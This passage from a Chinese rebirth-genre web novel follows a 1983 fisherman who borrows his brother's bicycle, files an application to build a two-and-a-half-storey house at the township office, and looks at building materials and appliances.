铁牛还扬了扬手中一卷有些泛黄的旧纸。 “图纸我找到了,是我舅舅盖供销社二楼时的废草图,有些地方模糊了,但大概样子能看出来。” “别急嘛,你们俩吃了没?一起吃点,吃完再说。” 江涛招呼他们坐下,又让林月柔多拿两副碗筷。 “这……” 铁牛和赵老头有些不好意思,他们已经吃了点东西过来的。 不过,江涛家的早饭确实非常丰盛。 打渔是力气活,江涛又舍得吃喝,早饭是白米粥、发面饼、咸鸭蛋,还有一些腌鱼虾。 饶是他们跟着江涛分到一笔不菲的辛苦钱,家里也改善了伙食,但比起来,江涛家这早饭的油水和分量还是让他们暗暗咋舌。 “赶紧吃,别客气,吃饱了才有力气办事。” 江涛不由分说给他们盛了粥。 两人这才不再推辞,坐下来一起吃。 几人正吃着早饭,江涛脑海中响起了熟悉的提示音。 【每日情报:寅时初,老渡口东侧回水湾沉船处,有一大群黄颡鱼聚集。】 嗯,老渡口? 这不是上次捞黄颡鱼的地方吗? 怎么又有黄颡鱼聚集了? 寅时初,大概是下午三点左右。 这样一来,他上午正好可以去乡里办事,时间正好错得开。 “赵叔,铁牛,咱们吃完早饭就去乡里。” 江涛放下筷子。 “好好,听你安排。”赵老头点头。 铁牛有些担心,“涛子,这图纸是供销社的,咱们是不是要把图纸先画了啊?” “对,咱们依葫芦画瓢。招娣,把你那些纸笔拿过来。”江涛对女儿说道。 “爸爸,我这就去拿。” 江招娣小跑进里屋,拿出了江涛之前特意给她买的白纸、铅笔和橡皮。 虽然她还没正式上学报名,但江涛已经提前给她置办了文具,让她没事可以在家练练字,画点画。 此刻正好派上用场。 江涛将铁牛带来的旧图纸在桌上摊开,指着上面的一些线条和标注,对铁牛和赵老头解释道:“咱们不用完全照搬,主要是看这个图的样子。我家宅基地长宽大概是多少,铁牛你清楚。咱们就参照这个图,把房子的长宽、层高、开间大小、楼梯位置大概画出来,标上尺寸。门窗大小、位置也可以大概标一下,让审批的人能看懂就行。” “关键是表明咱们是正经想盖楼,不是胡来,心里有规划。具体的细节,等请了县里技术员再定,到时候再出更详细的施工图。” 铁牛听得频频点头。 赵老头也明白了,笑道:“还是涛子你想得周到,有这么个图,乡里的人看着就明白,也好审批。行,那咱们就照着弄一个。” 于是三人围着桌子忙活起来。 江涛主笔,铁牛根据实际尺寸和结构知识提供意见,赵老头在一旁补充,江招娣也好奇地在旁边看着。 不多时,一张结构清晰、尺寸标注明确的二层半楼房示意图就画好了。 图画在一张崭新的大白纸上,看起来清爽多了,比那张泛黄的旧草图正规不少。 “好了,这下应该差不多了。” 江涛满意地看了看手中的图纸,小心卷好,连同李支书开的证明、户口本等材料一起放进一个布包里。 “出发,咱们去乡里!” 第81章 你就说借不借吧? “走,去乡里。” 三人收拾停当,准备出发。 可问题来了。 江涛只有一辆自行车。 铁牛和赵老头都要去的话,三个人根本没法骑一辆车。 要不三个人轮流推着走? 或者,干脆让赵老头在家,自己和铁牛去? 江涛正琢磨着,院门外忽然传来江海的声音。 “涛子,在家吗?” 江涛眉头一皱。 怎么又是他? 昨天不是已经打发走了吗? 这还没完没了了? “涛子!” 江海自顾自推开院门,走了进来。 昨天从江涛这儿扫兴而归,他越想越气。 本想着给赵老板打个电话,就说江涛不识抬举,这投资的事他也不稀罕了。 可电话接通后,赵老板语气非常热情,上来就问起他弟弟。 江海到嘴边的话又咽了回去。 没敢说江涛的坏话,只含糊说江涛这两天家里有点事,暂时走不开。 没想到赵老板反而更热情了。 让他转告江涛,不着急,以后有的是机会。 之后还特意问了江涛家的具体地址。 这让江海觉得,事情或许还有转机。 毕竟,赵老板看着特别看重江涛,只要江涛能回心转意,把赵老板哄开心了,那投资的事多半有戏。 看赵老板那做派,也不像差钱的样子。 是以,他今天一大早特意过来,打算再劝劝江涛,晓之以理,动之以情。 “大哥,你来做什么?” 江涛有些不耐烦。 “涛子,还在生气呢?” 江海这次学乖了,没有摆大哥的派头,脸上挤出一丝笑容。 “大哥昨天话说得有点重,你也别往心里去。咱们是亲兄弟,打断骨头连着筋,我还能害你不成?” “我生什么气啊?” 江涛觉得好笑,他压根没把江海昨天的话放在心上。 “说吧,来干什么的?我这儿还急着出门。” 江海被他这冷淡态度噎了一下,心里那股火又有点往上冒。 这小子什么态度? 没事他这个当大哥的就不能来了? 不过,想到投资的事,他还是强压了下去。 “还能什么事啊。” 江海语气非常和蔼,“人赵老板是真的特别看重你,大哥觉得那是你的机遇!你就别使性子了,好好把握住,以后前途无量啊!大哥这不也是为了你好,为你以后的日子着想嘛……” “怎么又提这事?” 江涛急着去乡里办事,哪有闲工夫听他啰嗦。 只觉得江海今天格外碍事,真怀疑自己是不是跟这个大哥八字相克。 要不,怎么每次关键时刻他都来搅和? 之前偷藏他大学录取通知书的事,他还没找他算账呢。 真当他很好说话? 他懒得跟他虚与委蛇,只想快点打发他走。 不过,看到江海停在院门口那辆崭新的永久牌自行车,江涛心里一动。 这送上门的交通工具,倒是解决了他眼前的难题。 “大哥,我正有事找你帮忙。” 江涛脸上露出一点笑容,打断了江海的苦口婆心。 “哦?什么事?你说!” 见江涛态度似乎缓和,江海心中一喜,以为有戏。 看来,自己刚才的好言相劝起了作用。 “我想跟你借自行车用一下,去趟乡里。”江涛直接说道。 “借自行车?去乡里干什么?” 江海下意识问,同时心里生出几分警惕。 这小子该不会想骑着车跑路,或者去干什么不靠谱的事? 这自行车可是他攒了好久钱才买的,宝贝得很。 “我们去乡里那是为了楼……” 铁牛心直口快,正要开口说去乡里递申请建楼房。 “是这么回事。” 赵老头反应快,抢先开口,笑呵呵地接过话头,“江主任,涛子家里粮食快见底了,得去买点,正好也看看有没有什么零碎要添置的。涛子想着早点去,赶在中午前回来。” 赵老头抢在铁牛前面说话,是有考量的。 这盖二层楼房是村里独一份的大事,眼下八字还没一撇,图纸、手续都没办,不宜过早张扬。 尤其江海这人,嘴上说是为兄弟好,实则心里总带着点说不清的别扭和算计。 万一知道涛子要盖楼,说不定会生出什么波折,甚至在外人面前说些不合适的话。 多一事不如少一事,先低调把事情办了再说。 而且,涛子现在挣钱多,眼红的人肯定有,没必要在事情没成之前就惹人注目。 赵老头这么想,也是被昨天老张那急吼吼想入伙的劲头给提了个醒。 这人心啊,有时候还是藏着掖着点好。 原来是去买粮食,顺便添点东西。 江海一听,心里那点警惕散了,但优越感又上来了。 “涛子,你看你,连家里的口粮都快没了,日子过得这么紧巴,还这么不懂事,跟赵老板拧着来干啥?” “只要你点头,跟了赵老板,以后家里吃喝肯定不愁!” “再等两年,说不定赵老板一高兴,帮衬你把这土屋翻建一下,也让你媳妇和几个丫头过点好日子,不比你现在强?大哥我这不也是为你好嘛。” 他这番话,自以为说得语重心长,处处为江涛着想,却不知在赵老头和铁牛听来,简直可笑至极。 人家涛子这都马上要盖二层楼房了,你还在那画翻建土屋的饼? 真是坐井观天,不知天高地厚。 赵老头心里冷笑,脸上却不动声色,还配合地点了点头。 铁牛则把脸转向一边,生怕自己露出什么表情。 江涛也懒得反驳江海,他满心都在乡里的手续和下午的打渔上。 “大哥,这自行车你就说借不借吧?我赶时间。” 江海犹豫了一下。 待会他还得骑车去草编厂上班呢。 “这个……我待会还得上班……” “哦,那就算了,我们自己想办法。”江涛立刻作势要走,语气也变得冷淡。 “别别别!” 江海一看江涛又要变脸,生怕这次谈崩了,赵老板那边彻底没戏,连忙答应。 “借!借!不就是辆车嘛,你拿去用!早点回来就行。” “行,那谢了大哥。” 江涛接过车钥匙,也没再多说,招呼铁牛和赵老头。 “铁牛,你跟我一辆车。赵叔,你骑我大哥这辆。” “哎,好!” 铁牛和赵老头应了一声,几人推上自行车就往外走。 看着他们三人两辆车急匆匆出了院子,江海心里总觉得有点不对劲。 买点粮食,用得着这么急? 还三个人一起去? 难道是江涛不好意思,带着铁牛和赵老头去壮胆,或者帮忙扛东西? 不过,看那两人对江涛言听计从的样子,又不像只是帮忙扛东西那么简单。 算了,不想了。 只要能把车借给他,让他欠个人情,回头再提赵老板的事,说不定就好开口了。 这么一想,江海心里又舒坦了些。 背着手,慢悠悠也离开了江涛家,往草编厂走去,一路上盘算着等江涛还车时,好好跟他说道说道赵老板投资的事。 第82章 大客户来了 江海心里怎么盘算,江涛一点不在乎。 他只想赶紧去乡里把申请递了,然后该买的东西买,该打听的事打听,争取中午前赶回家。 吃了午饭,歇一会儿,就得去老渡口捞黄颡鱼。 下午的鱼情可不能错过。 时间排得满满的,一点耽搁不起。 江涛载着铁牛骑得飞快,恨不得脚下生出风火轮。 乡道是砂石路,颠簸不平,但他骑得稳当,速度却不减。 赵老头身体还算硬朗,可毕竟年纪大了,腿脚比不上年轻人。 加上骑的是借来的新车,心里宝贝着,不敢太猛蹬,渐渐有些跟不上了,喘气声也粗重起来。 江涛察觉到,就稍微放缓速度,与赵老头并行。 “赵叔,不着急,咱们时间够。” 赵老头喘匀了气,脸上有点赧然,觉得自己拖了后腿。 为了掩饰尴尬,也让气氛轻松些,找了个话题聊起来。 “涛子,你大哥今天还真是及时雨,我都没想到他会把新车借给你……” 他心里有些懊恼。 昨天说好今天一起去乡里,自己竟连自行车都没提前准备,真是考虑不周。 看来,待会儿到了乡里,得看看有没有自行车卖,旧车也行,总归要置办一辆,不然以后办事太不方便。 “他这是觉得有利可图,想拿捏我罢了。”江涛语气平淡。 两世为人,他还能不知道江海那点心思? 上辈子被算计得还不够惨吗? 哼,反正他可没答应江海什么,这自行车是他自己要借的,人情也是他自己愿意给。 至于以后? 以后再说。 想用这点小恩小惠就让他低头,那也太小看他江涛了。 铁牛坐在后座,“我看涛子大哥就是看涛子能挣钱了,想巴结又放不下脸,就借着那个什么赵老板的名头。昨天在涛子家,那副样子,啧啧……” 他摇了摇头,没把更难听的话说出来。 铁牛性格直,但心思不笨,能看出江海那份算计。 “行了,不说他了,扫兴。” 江涛加快了速度,“咱们抓紧点,争取早点办完事。” 赵老头不再多言,奋力蹬车,心里对江涛的认知又深了一层。 这孩子看着年轻,心里却什么事都看得通透,不糊涂。 跟着这样的人干,心里踏实。 几人聊着村里乡里的一些闲事,脚下的路不知不觉缩短。 很快,乡里的轮廓就出现在视野中。 比起滨江村的宁静,乡里明显热闹不少。 房屋密集了些,街上有商店、邮局、信用社、供销社等建筑,人来人往,多了几分烟火气。 “涛子,咱们先去哪儿?”赵老头问。 江涛看了眼街边,“先去王老板的杂货铺,买两包烟。待会儿办事,递根烟好说话。” 他平时不抽烟,但这年头办事,递根烟是基本的礼貌,有时候能省不少麻烦。 “对对,还是涛子想得周到!” 赵老头连声赞同,刚才他心里也在盘算这个,只是没好意思开口让涛子破费。 这孩子真是越来越会来事了。 三人直奔王老板的杂货铺。 王老板正坐在柜台后打盹,听见脚步声,眯着眼抬起头,一看是江涛,顿时精神了。 “哟,稀客啊!涛子,有日子没来了!最近在忙什么大生意呢?” “王老板,瞧您说的,我能有什么大生意,就瞎忙活。”江涛笑着寒暄。 他也就几天没来吧? 怎么王老板像是一日不见如隔三秋的样子? “涛子,这回来点什么?” 王老板脸上堆满了笑。 江涛这个大客户几天没来,他着实是有些惦记。 前几天那大手笔采购,让他印象深刻。 “拿两包好烟。” 江涛想了想,“另外,家里粮食不多了,米面粮油,还有油盐酱醋这些,都见样来一些。” “好嘞。” 王老板喜笑颜开。 大客户来了,这回又是一笔不小的生意。 正要去备货,江涛拦住了他。 “王老板,先拿两包烟。其他不着急,我们待会儿再来……” “涛子,你这是要去办事?” 王老板是聪明人。 一听心中就有谱,从柜台拿出两包烟。 “中华,给你拿最好的。” “家里打算盖房子,这不是去乡政府递个申请嘛。” 江涛简单解释了一下,也没特意瞒着。 毕竟,王老板这人挺不错的,没必要藏着掖着。 “盖新房?” 王老板一愣。 这才几天功夫啊? 滨江村有名的混子改邪归正,不但把家里置办得焕然一新,现在都要盖新房了? 这变化也太大了! “恭喜恭喜!” 他一边递烟一边笑道,“打算盖几间平房啊?” “三间吧。” 江涛接过烟,也没特意说盖楼房,没那个炫耀的必要。 等房子盖起来,自然就知道了。 “那两边盖不盖附房啊?” 王老板还挺有经验,热心建议,“厨房、卫生间都单独盖出来,跟主屋分开,这样干净,用着也方便,主屋里能多出间屋子来。” “你倒是提醒我了。” 江涛心中一动。 对呀,主体盖楼房,两侧可以盖附房。 把厨房、餐厅、卫生间,甚至储藏间、柴房都放在附房里。 这不就把功能区域单独划分,楼房里的房间不就更宽敞更多了吗? 这个主意不错。 “回头我跟盖房的师傅商量商量。好了,王老板,两包中华我先拿走,待会一并结账。” “没事没事,不着急,您先去忙正事要紧。” 王老板非常爽快。 毕竟,江涛可不是之前那个兜比脸干净的混子了,是能掏出真金白银的大客户,信誉没问题。 从杂货铺出来,三人这才直奔乡政府。 “先去土管所,把宅基地申请递了。” 江涛目标明确,“然后去城建办,递建房申请和图纸。这两处办完,咱们去打听盖房子用的水泥、钢筋的价钱。铁牛,你重点看砖瓦木料,心里有个谱。” “行,明白了!”铁牛用力点头。 “赵叔,你人面熟,到了土管所和城建办,还得麻烦您帮着说说话,递根烟,让他们行个方便,能快点就快点。” 这年头办事,有时候熟人递句话,比什么都好使。 江涛虽认识颜卫国,但不想为这点小事就动用这层关系,能靠正常流程和人情办下来最好。 “放心吧,涛子,包在我身上。” 赵老头拍了拍胸脯。 早年在乡里卖鱼,走街串巷,三教九流认识不少人。 虽然没什么大官,但各个单位看门的、办事的,总能找到一两个说得上话的熟人。 加上他儿子在乡里当办事员,多少有点香火情。 有这层关系在,他出面说话,总比江涛和铁牛两个生面孔自己去要方便。 三人将自行车在乡政府大院外的车棚里锁好。 江涛拿着准备好的材料,带着铁牛和赵老头,熟门熟路地朝土管所所在的办公室走去。 乡政府院子不大,几排平房,门口挂着各种牌子。 江涛上辈子也来办过事,对这里不算陌生。 赵老头更是轻车熟路,在前面带着路,很快就找到了挂着“土地管理所”牌子的办公室。 第83章 这家人是干什么的? “爹?” 三人正要进土管所办公室,身后忽然传来一道惊讶的声音。 他们转头看去,只见一个穿着灰色中山装的年轻人正从走廊那头走过来,正是赵老头的儿子赵建设。 赵建国见到自己爹出现在这里,很是意外。 平时他爹没事很少来乡政府。 他快步走上前,本想问问儿子暑假回家的事,怎么突然又不让孩子回来了。 可走近一看,发现爹旁边站着的那个人,脸色顿时微微一变,到嘴边的话又咽了回去。 他一把将赵老头拉到旁边,压低声音,语气里带着明显的不满和疑惑: “爹,你怎么跟这个混子搅和在一起?还跑到乡政府来了?” 赵建设住在乡里,平时工作忙,不怎么回滨江村,对江涛的印象还停留在从前。 一个不务正业、游手好闲,在村里人嫌狗厌的混子。 前几天王癞头淹死的事他也听了一耳朵,心里只觉得,当闲汉混子的,能有什么好下场? 可他爹怎么就跟这种人走到一块儿了? 赵老头心里“咯噔”一下。 这小崽子,瞎说什么呢! 幸亏他声音低,不然让涛子听见得多尴尬。 他立刻板起脸,瞪了儿子一眼。 “混账玩意儿,你胡咧咧什么!我现在跟着涛子干正事,别来烦我!还有你那儿子,这个暑假别想着送回来了,我没空!家里也没人带,别添乱!” 说完,也不管儿子错愕的表情,拉着江涛就往土管所办公室走。 “涛子,铁牛,咱们进去,别耽误正事。” 铁牛连忙跟上去,临走前还瞥了呆立原地的赵建设一眼。 赵建设被自己老爹这劈头盖脸一顿训,整个人都懵了。 他爹居然跟那个江涛一起干正事? 还因为这个,连大孙子都不让回来了? 这都什么跟什么啊? 他爹是老糊涂了,还是被人灌了什么迷魂汤? 他想跟着进办公室问个清楚,可又不太敢。 一来这不是他工作的部门,他是后勤口的,管不着这边。 二来,看他爹刚才那严肃甚至带着警告的眼神,自己贸然进去,多半要挨骂。 老爹平时看着和气,可真发起火来,他也憷。 可这事实在太奇怪了。 赵建设心里像猫抓一样难受。 他爹怎能自甘堕落,跟一个混子为伍? 还一副以人家马首是瞻的样子? 他站在门口不远处,探头探脑地往里看,想听听里面到底在说什么事。 江涛几人进了土管所办公室。 办公室里,坐着一个约莫四十岁的办事员,正伏案写着什么。 赵老头脸上堆起笑容,上前递过去一根中华烟。 “同志,忙着呢?抽根烟,歇会儿。” 办事员抬起头,接过烟看了一眼。 竟然是中华? 这烟可不便宜,一般乡里干部都舍不得抽。 他不动声色地接过,“哟,老同志,客气了。有什么事吗?” 他看赵老头面熟,好像以前见过,但记不太清了。 “有事,有事。” 赵老头连忙侧身,将江涛让到前面。 “这是我们村的江涛同志,想在村里老宅基地上翻盖新房。村里开了证明,我们来申请一下宅基地使用手续。” 江涛适时地将李支书开的证明,连同户口本等材料双手递了过去。 “同志您好,麻烦您了。” “好说。” 办事员接过材料,一边看一边随口问道: “想翻盖新房是好事啊,现在日子好了,是该住得舒服点。打算盖几间平房啊?材料都准备了吗?” 自从前几年政策放宽、农村经济搞活,农民生活条件慢慢好转,乡里也鼓励农民改善住房。 这两年陆陆续续有不少人家翻盖新房。 他经手了不少,已经有些习以为常了。 “同志,我们打算盖楼房。” 江涛将那卷画好的图纸也递了过去,“这是房子的草图,您给看看。” “楼房?” 办事员以为自己听错了,抬起头,诧异地看向江涛,又看看旁边的赵老头和铁牛。 “你们是说……盖楼房?二层楼?” 他以为,最多也就是盖个高点的瓦房。 “对,二层半的小楼房。”江涛答道。 周办事员这下坐不住了,直接站了起来,放下手里的材料,拿起那张图纸小心翼翼地展开来看。 他虽然不专业,但图纸上画的房子确实是两层半,有楼梯,有窗户,标注着尺寸。 “这……这图纸谁画的?你们真要盖楼房?” 虽说国家报纸、广播里都在倡导新农村建设,描绘“电灯电话,楼上楼下”的美好图景。 但那是在苏南浙北那些富裕省份的模范乡村,或者大城市郊区。 他们海阳县位处江中平原,到底是个偏僻的农业小县,经济不发达。 普通农民一年到头在地里刨食,挣点辛苦钱。 别说村里了,乡里能住上像样砖瓦房的家庭都不多。 盖楼房? 他还真是头一回遇到有农民主动申请盖楼房的! 这得花多少钱? 这家人是干什么的? 祖上留下的家底? 还是发了什么横财? 赵老头见状,又适时递上一根烟。 “同志,是真的。涛子家里孩子多,老屋实在住不下了,就想一步到位,盖个楼房。图纸是照着画的,回头还要请县里的技术员来帮忙看看。您看这申请……” 铁牛也憨厚地点点头,证明所言不虚。 办事员愣了好一会儿,才接过烟,点燃,深深吸了一口,试图消化这个惊人的消息。 他重新坐下,仔细看了看江涛的证明和图纸,又抬眼打量了江涛几眼。 这年轻人看着不像开玩笑,也不像那种吹牛不上税的。 旁边这老头他也想起来了,确实是滨江村的,他儿子好像就在后勤部门。 看来这事是真的了。 “这个……盖楼房是大事,比盖平房复杂,要的宅基地面积、规划审批也更严一些。” “不过,既然你们手续齐全,村里也同意了,原址翻建,原则上我们这里可以受理。” “但还得城建办那边审批规划,看高度、结构、位置有没有问题。你们这个图纸,恐怕还得让城建那边的技术员看看。” “是是是,我们明白。城建办我们马上就去。先麻烦您这边把手续过一下。”赵老头连忙点头。 “行,材料我先收下,你们填个申请表。” 办事员从抽屉里拿出几张表格递给江涛,态度比刚才慎重了许多。 这滨江村要出个稀罕事了。 他一边指导江涛填表,一边忍不住又问:“小伙子,盖楼房可不便宜,砖瓦、水泥、钢筋、人工,都是一大笔开销,你家这……是做什么营生啊?” 江涛笑了笑,一边填表一边回答。 “就是在江边打打鱼,运气好,挣了点辛苦钱。” 打渔能挣出盖楼的钱? 办事员心里更是惊讶,但也识趣地没再多问,只是心里对这户人家留下了深刻印象。 这年轻人不简单,以后说不定还能打交道。 门口,一直探头探脑偷听的赵建设,此刻已经彻底傻眼了。 他耳朵没出问题吧? 那个江涛,那个村民口中不务正业的混子,那个家里土屋都快塌了的家伙。 竟然真的要盖楼房? 还是二层半的? 图纸都画好了,连县里的技术员都要请? 他爹刚才说的跟着涛子干正事,难道就是指这个? 打渔能挣这么多钱? 赵建设只觉脑袋嗡嗡作响,世界观受到了巨大冲击。 他呆呆站在门口,连自己原本要干什么都忘了。 第84章 瞌睡来了送枕头 表格不复杂,江涛刷刷很快写好。 “同志,写好了,您看看。” 他将填好的申请表递回给办事员。 “江涛同志,我姓周,你叫我老周就行。” 周杨接过表格,仔细核对,态度比之前亲切了不少。 ……瞟见门口探头探脑的赵建设,心思一动。 “哎,老赵,站在门口干什么?进来进来!” 赵建设听到招呼,下意识“哎”了一声,有些局促地走了进来,脸上表情还有点懵。 “老赵,你来得正好。这是你们滨江村的江涛同志吧?了不得啊!” 周杨笑着指了指桌上的图纸和申请表。 “你们村要出个大新闻了!江涛同志申请在村里老宅基地上盖一栋二层半的楼房!这在咱们乡可是头一份!太了不起了!你这是陪着来的?” 赵建设稀里糊涂地点头,顺着周办事员的话。 “是,是,周科,我爹亲自陪着的,这是大事,肯定得上心。您看这手续……没问题吧?” 此时,他脑子还没完全转过弯,但多年在单位混,基本的接话本能还在,知道这会儿得顺着说,还得捧一捧。 赵老头在旁心里一哼。 这臭小子,脑子总算转得快了点,还知道帮着说话。 也算没辜负他的真传。 没在关键时刻掉链子丢人。 “哎呀,这是好事,大好事!手续肯定没问题,村里证明、材料都齐全,我这边马上给登记上,出具个受理回执。” 周杨非常热情。 赵建设一声“周科”叫得他很舒坦。 他拿起公章“啪”地一声盖在回执上,递给江涛。 “江涛同志,拿着这个,再去城建办跑一趟。那边我熟,要不要我陪你们过去一趟,跟他们打个招呼?盖楼房是新鲜事,他们可能也得仔细看看。” 滨江村要盖一栋二层半楼房,这基本是板上钉钉的事了。 刚才他看了图纸,虽然简单,但该有的都有。 而且,人家说了要请县里技术员,看来是动真格的。 这种全乡第一例,搞好了,说不定还能成为新农村建设的亮点。 对他这个具体经办人来说,也是锦上添花的好事。 这江涛年纪轻轻,出手大方,以后说不定还能有更多打交道的机会。 值得卖个好,主动帮忙。 江涛心里知道这是周办事员在示好,也乐得接受这份人情。 在乡下办事,有关系和没关系,顺畅程度天差地别。 “那就太感谢周科了!麻烦您跑一趟,真是不好意思。等房子盖好了,一定请周科去家里坐坐,喝杯茶。” “不麻烦,不麻烦,为人民服务嘛!走,我带你们过去。” 周杨笑容满面,起身领着江涛几人出了土管所办公室,朝隔壁的城建办走去。 赵建设也下意识地跟在了后面。 到了城建办,有周杨这个熟人带着,事情果然顺利很多。 城建办的负责人老李听了来意,看了图纸和土管所的回执,同样很惊讶,但更多的是兴奋。 这可是新鲜事! 是体现乡里建设成就的好素材! 他仔细询问了楼房的结构设想、用料打算,江涛和铁牛一一作答,还提到了请县里技术员把关的打算。 “这样好,这样稳妥。” 老李听了连连点头。 他也没多刁难,很快就在建房申请表上签了“原则同意,请报请技术部门审核后按规定施工”的意见。 盖了章,告诉江涛,等县里技术员出了正式图纸和意见,再来办正式的建房许可证就行。 事情办得出乎意料的顺利。 江涛趁机问起村里通电的事,这是他今天要打听的重要事项之一。 城建办老李正好跟供电所熟,闻言笑道:“这事你算问对人了。滨江村通电是早有计划,就是资金不到位,一直拖着。” “前几天我还听供电所老王说,线路快架到你们村了,估计就这一两个月的事。你要着急,我帮你打个电话问问具体时间?” “那太感谢李主任了!” 江涛没想到还有这意外之喜。 真是瞌睡来了送枕头。 老李很热心,当场就用办公室电话给乡供电所打了个电话。 说了几句,挂断后对江涛说:“问清楚了,线路确实快到了。供电所那边说,等主线路架好,村里统一申请开户,大概下个月就能开始装电表、拉入户线了。你们村支书应该会通知的。” 江涛心里一块大石头落了地。 这消息太好了! 电的问题基本解决,不用自己再去跑供电所,省了不少事。 新房盖好,电差不多也能通。 冰箱、电视这些改善生活的电器就可以提上日程了。 他连声道谢,给老李和周杨各递了一包中华烟表示感谢。 两人推辞一番,见江涛诚心实意,也就笑着收下了。 对江涛的印象更好了。 觉得这年轻人不仅有能力有想法,办事也周全,懂规矩,会做人,值得一交。 从乡政府出来,已经快十点。 赵建设一直默默跟着,看着江涛把一件在他看来很难办的事轻松搞定,看着土管所和城建办的负责人对他热情有加,心里受到的冲击一波接一波。 他爹说的跟着涛子干正事,原来是真的。 盖楼、通电……这一切远超他的想象。 这江涛,真的不是以前那个混子了。 赵老头看着儿子那副失魂落魄的样子,心里有点解气,又有点好笑。 他拍拍儿子的肩膀,“人不可貌相,海水不可斗量。涛子是真有本事的人。我跟着他,不吃亏。” 赵建设张了张嘴,最终什么也没说出来,只是神色复杂地点了点头。 “赵叔,这就是您儿子吧?” 江涛主动笑着打招呼。 赵老头和赵建设在那嘀嘀咕咕,他能没看出来是怎么回事吗? 不过,他并不在意。 上辈子,被人轻视误解的时候多了去了。 这点小插曲不算什么。 何况,不看僧面看佛面,这是赵老头的儿子,以后说不定还有打交道的机会。 没想到江涛主动搭话,赵建设愣了一下,连忙挤出笑容。 “哎,是,我是赵建设。江涛同志,你好你好。” 他本想叫名字,但话到嘴边,不知怎的就加上了“同志”二字。 “赵大哥你好,叫我涛子就行。今天多亏赵叔帮忙,事情才这么顺利。” 江涛给足了赵老头面子,也给了赵建设台阶下。 双方寒暄几句。 铁牛惦记着正事,“涛子,现在申请递上去了,是不是该去看看砖瓦木料、水泥钢筋了?” 赵建设一听,心里活泛了。 这可是拉拢关系的好机会啊。 “涛子,你要不介意,我认识几家卖建材的老板,可以带你们去看看。” “可以啊。”江涛欣然答应。 有熟人好办事。 赵建设在乡里工作,他介绍的地方,质量价格一般不会太离谱,能省去不少甄别的功夫。 于是,一行四人骑上自行车,直奔乡里最大的几家建材店。 砖瓦水泥,本地有砖瓦厂和水泥厂,价格基本透明,波动不大。 而钢筋、杉木檩条、门窗料、预制板这些,就得去专门的建材店了,这里面门道就多了。 有赵建设领着,事情顺利很多。 几家店老板见是乡政府的赵办事员带来的客人,态度都很热情,报价也实在。 铁牛也充分发挥了他的专业,问得头头是道,让那几个老板不敢小觑。 最终,他们在一家店初步敲定所需的主要材料。 老板答应等他们正式动工再来敲定,价格就按今天的谈,还可以优先供货。 谈完建材,江涛又提出想去看看哪里有卖电器的。 “家里以后通了电,想置办点东西,冰箱、电视什么的,先打听打听行情。” 赵建设已经有些麻木了。 冰箱、电视? 这可都是大件! 自己家在乡里工作这些年,也就去年咬牙买了台黑白电视机。 冰箱那是想都没敢想。 可江涛买这些就跟买菜似的。 “乡里供销社有电器柜台,不过品种不多,价格也高。倒是新开的一家为民电器行,是私人开的,东西挺全,收音机、录音机、电视机、洗衣机都有,听说最近还进了两台冰箱,就是贵得很。我带你们去看看?” 赵建设尽职当起了向导。 “行,去看看。”江涛点头。 第85章 花钱可真利索 赵建设说得没错,为民电器行卖的电器还真不少。 店面不算大,但里面琳琅满目,摆得满满当当,连江涛都有些意外。 毕竟,现在是八三年,海阳县这样的小县城,私人电器行能有这个规模不容易。 看来这老板有点门路。 靠墙一排摆着各种尺寸的黑白电视机,熊猫、金星等牌子都有。 柜台里放着各式收录音机,从简单的单卡收音机到时髦的双卡录音机,也是一应俱全。 角落里有两台单缸洗衣机,用塑料布罩着。 最显眼的是靠墙立着的两台冰箱,一台是苏州香雪海的单门冰箱,另一台是广州万宝的双门冰箱。 在这个年代绝对是稀罕物。 店里生意看起来一般,只有两个年轻人在柜台前看收录机。 老板是个四十出头的中年男人,正百无聊赖地翻着账本。 见有人进来,起初没太在意,以为是来看热闹的。 但看到赵建设,连忙放下账本站了起来,脸上堆起职业化的笑容。 “哟,赵干事,您怎么有空过来了?稀客稀客!” “倪老板,生意兴隆啊。我陪几位朋友过来看看电器。” 赵建设笑着介绍,“这位是江涛同志,想了解一下冰箱、电视,家里想添置点大件。” 倪老板这才把目光转向江涛。 见他穿着半新不旧的蓝布褂子,脚下是解放鞋,很普通的乡下人打扮。 看着不像来看热闹的闲人,但也不像能买得起冰箱电视的主。 不过,有赵干事陪着,说不定者家里有点底子? “江同志您好!想看什么尽管看,尽管问!咱们店货全,国营商场有的咱有,他们没有的,咱也有门路能弄到!”倪老板热情招呼。 江涛点点头,没多客套,径直走到冰箱前仔细看了起来,伸手摸了摸外壳质感,又看了看背后的铭牌和生产日期。 “倪老板,这两台冰箱制冷怎么样?耗电大吗?保修多久?坏了维修方便吗?”江涛一连问了几个问题。 倪老板一听,这问得专业啊,不是外行。 “这台,单门,一百二十升,一天大概一度电左右,保修一年,主要部件保三年。” “那台万宝,双门,一百五十升,耗电稍微多点,保修也是一样。” “香雪海是上海出厂的,万宝是广州的,质量都有保证!咱们海阳县,我这儿是头一份有现货的!” “维修您放心,我认识老师傅,小毛病我自己就能修,大问题我可以联系厂家特约维修点。” 江涛又走到电视机柜台前,看了看那些黑白电视机。 “有没有彩色电视?” “彩电?” 倪老板眼睛一亮,随即苦笑摇头,“江同志,您见识广。彩电得去省城大商场,还得有外汇券或者特殊批条才行。咱们这小地方,暂时还进不到。” “不过,黑白电视也不差,图像清晰,这台十七寸的熊猫牌是最好卖了!晚上一家人围着看,热闹!” 这年头买大件电器,很多时候还需要工业券或者外汇券,但私人店里,有时候有钱也能通融。 江涛不置可否,又看了看收录机和洗衣机。 他对双卡录音机挺感兴趣。 可以给丫头们听听音乐、学学英语。 而单缸洗衣机虽然只能洗不能甩,但也能省下月柔不少力气。 倪老板见江涛这个也感兴趣,那个也仔细看,问的问题都在点子上,心里越发重视,讲解得越发卖力。 他拿起一台双卡录音机,插上一盘邓丽君的磁带,按下了播放键。 “甜蜜蜜,你笑得甜蜜蜜,好像花儿开在春风里……” 悠扬的歌声在店里响起,引得那两个年轻人也凑了过来。 “真好听,可惜钱不够啊。” “下次再来了。” 他们身上钱不多,只能过过眼瘾耳瘾。 “江同志,您看中了哪样?价格好商量!您要是真心想要,我给个实在价,还能免费给您送货上门,包安装调试!” 这时,赵老头拉了一下江涛。 “涛子,看看就行,别见样就稀罕。现在买回去都没电,放家里也是摆设,还占地方。这些东西都不便宜,等村里通了电,说不定又出新样式、降价了,到时候再买也不迟。” 江涛听了,笑着点点头。 “赵叔说得对,我就是先看看,了解一下行情。” 他转向倪老板,“倪老板,东西不错。等我们村通了电,我再来叨扰。到时候冰箱、电视,可能都得麻烦您。” 倪老板有点失望没当场成交,不过看江涛这架势不像说空话。 